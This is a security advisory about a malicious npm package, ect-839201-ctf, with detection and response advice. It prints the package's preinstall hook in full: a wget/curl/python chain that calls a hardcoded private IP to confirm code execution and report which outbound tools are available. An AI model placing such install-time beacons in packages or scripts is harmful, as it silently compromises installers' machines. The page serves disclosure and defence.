ect-839201-ctfnpm
Advisory published Updated
ect-839201-ctf is a confirmed malicious npm package (MAL-2026-5721) that opens a backdoor for remote access (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ect-839201-ctf (npm)
What this malware does
On npm install, package.json's preinstall script executes wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')". This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for ect-839201-ctf (version 1.0.0).
If you installed it — respond
ect-839201-ctf establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If ect-839201-ctf was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks ect-839201-ctf-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.